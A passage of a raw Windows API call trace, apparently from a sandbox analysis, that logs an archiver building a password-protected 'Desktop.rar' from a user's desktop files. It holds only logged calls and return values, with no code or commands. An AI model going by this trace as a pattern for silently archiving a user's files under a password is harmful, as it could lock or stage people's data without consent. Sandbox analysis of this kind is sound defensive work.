lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x3acb1 [0066.660] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0066.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.660] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0066.660] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0066.660] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0066.660] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xa680, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xa680, lpOverlapped=0x0) returned 1 [0066.661] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0066.661] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.662] SetFilePointer (in: hFile=0x32c, lDistanceToMove=240723, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x3ac53 [0066.662] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x3ac53 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0066.662] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef700, Size=0x48) returned 0x1ec0a656c90 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb20 [0066.662] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb20, Size=0x48) returned 0x1ec0a6577d0 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef7f0 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef7f0 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a656c90 [0066.662] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64a730 [0066.662] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a733*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a733*, lpNumberOfBytesWritten=0xe414d8140*=0x5e, lpOverlapped=0x0) returned 1 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd00 [0066.662] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5e) returned 0x1ec0a5c4b80 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a730 | out: hHeap=0x1ec0a590000) returned 1 [0066.662] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x45331 [0066.662] CloseHandle (hObject=0x350) returned 1 [0066.662] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.662] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.662] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.662] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.662] FindFirstFileW (in: lpFileName="4WmeXcoy8E.gif", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a68dce0 [0066.663] FindClose (in: hFindFile=0x1ec0a68dce0 | out: hFindFile=0x1ec0a68dce0) returned 1 [0066.663] CreateFileW (lpFileName="4WmeXcoy8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\4wmexcoy8e.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.663] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.663] GetTickCount () returned 0x26901 [0066.663] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.663] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.663] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.663] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.663] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="3 58nW.pps") returned 10 [0066.663] SetWindowTextW (hWnd=0x1028c, lpString="4WmeXcoy8E.gif") returned 1 [0066.664] GetTickCount () returned 0x26901 [0066.664] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0066.664] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.664] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.664] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.664] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x93)) [0066.664] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.664] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15799265394) returned 1 [0066.664] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x86d, lpOverlapped=0x0) returned 1 [0066.664] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9058ad, nNumberOfBytesToRead=0xff793, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9058ad*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.664] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0066.664] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0066.664] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a656fb0 [0066.664] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.664] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0066.664] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbe0, Size=0x48) returned 0x1ec0a6577d0 [0066.664] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.665] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0066.665] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb20 [0066.665] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0066.665] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef640 | out: hHeap=0x1ec0a590000) returned 1 [0066.665] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb20 | out: hHeap=0x1ec0a590000) returned 1 [0066.665] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb50, Size=0x48) returned 0x1ec0a6569c0 [0066.665] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64a070 [0066.665] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0066.665] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a070 | out: hHeap=0x1ec0a590000) returned 1 [0066.666] GetTickCount () returned 0x26901 [0066.666] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15799450459) returned 1 [0066.666] GetTickCount () returned 0x26901 [0066.666] GetTickCount () returned 0x26901 [0066.666] GetTickCount () returned 0x26901 [0066.666] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.666] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0066.666] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.666] ResetEvent (hEvent=0x344) returned 1 [0066.666] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.666] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.995] ResetEvent (hEvent=0x344) returned 1 [0066.995] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.996] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.996] GetTickCount () returned 0x26a58 [0066.996] GetLastError () returned 0x0 [0066.996] SetLastError (dwErrCode=0x0) [0066.996] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0066.996] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0066.996] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.996] SetWindowTextW (hWnd=0x1028e, lpString=" 100%") returned 1 [0066.996] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0066.997] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15832514521) returned 1 [0066.997] GetTickCount () returned 0x26a58 [0066.997] GetTickCount () returned 0x26a58 [0066.997] GetTickCount () returned 0x26a58 [0066.997] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0bfefca0) returned 0x0 [0066.997] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfefca0, hwnd=0x10284, tbpFlags=2) returned 0x0 [0066.997] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfefca0, hwnd=0x10284, ullCompleted=0x4572e, ullTotal=0x4f8c9e) returned 0x0 [0066.997] TaskbarList:IUnknown:Release (This=0x1ec0bfefca0) returned 0x0 [0066.998] GetLastError () returned 0x36b7 [0066.998] SetLastError (dwErrCode=0x36b7) [0066.998] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0066.998] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0066.998] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0066.998] SetWindowTextW (hWnd=0x102a4, lpString=" 5%") returned 1 [0066.998] GetLastError () returned 0x0 [0066.998] SetLastError (dwErrCode=0x0) [0066.998] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0066.998] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 72%") returned 5 [0066.998] SetWindowTextW (hWnd=0x102a0, lpString=" 99%") returned 1 [0066.999] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x5, lParam=0x0) returned 0x2 [0066.999] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.003] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.006] GetFocus () returned 0x102a8 [0067.006] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.006] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.006] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.006] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.006] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.006] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x45331 [0067.006] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x45391 [0067.006] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.006] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.006] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.006] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.007] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x8a0, lpOverlapped=0x0) returned 1 [0067.007] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=283441, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x45331 [0067.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x45331 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0067.007] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef730, Size=0x48) returned 0x1ec0a656c90 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.007] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef610, Size=0x48) returned 0x1ec0a656f10 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.007] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefcd0, Size=0x48) returned 0x1ec0a656dd0 [0067.007] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656dd0, Size=0x7a) returned 0x1ec0a64aa00 [0067.007] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x60, lpOverlapped=0x0) returned 1 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.007] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x45c31 [0067.007] CloseHandle (hObject=0x350) returned 1 [0067.007] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.007] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.008] FindFirstFileW (in: lpFileName="6u_EXsIYn4N.jpg", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.008] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.008] CreateFileW (lpFileName="6u_EXsIYn4N.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\6u_exsiyn4n.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.008] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.008] GetTickCount () returned 0x26a58 [0067.008] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.008] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.008] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.008] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.008] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="4WmeXcoy8E.gif") returned 14 [0067.008] SetWindowTextW (hWnd=0x1028c, lpString="6u_EXsIYn4N.jpg") returned 1 [0067.009] GetTickCount () returned 0x26a58 [0067.009] UpdateWindow (hWnd=0x10284) returned 1 [0067.009] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.009] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.009] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.009] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.009] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x1eb)) [0067.009] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.009] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15833768269) returned 1 [0067.009] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xa4dd, lpOverlapped=0x0) returned 1 [0067.009] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90f51d, nNumberOfBytesToRead=0xf5b23, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90f51d*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.009] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.009] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a6574b0 [0067.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0067.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a656ce0 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6574b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a657140 [0067.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657140, Size=0x7a) returned 0x1ec0a649ec0 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0067.010] GetTickCount () returned 0x26a58 [0067.010] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15833863095) returned 1 [0067.010] GetTickCount () returned 0x26a58 [0067.010] GetTickCount () returned 0x26a58 [0067.010] GetTickCount () returned 0x26a58 [0067.010] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.010] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.010] SetThreadExecutionState 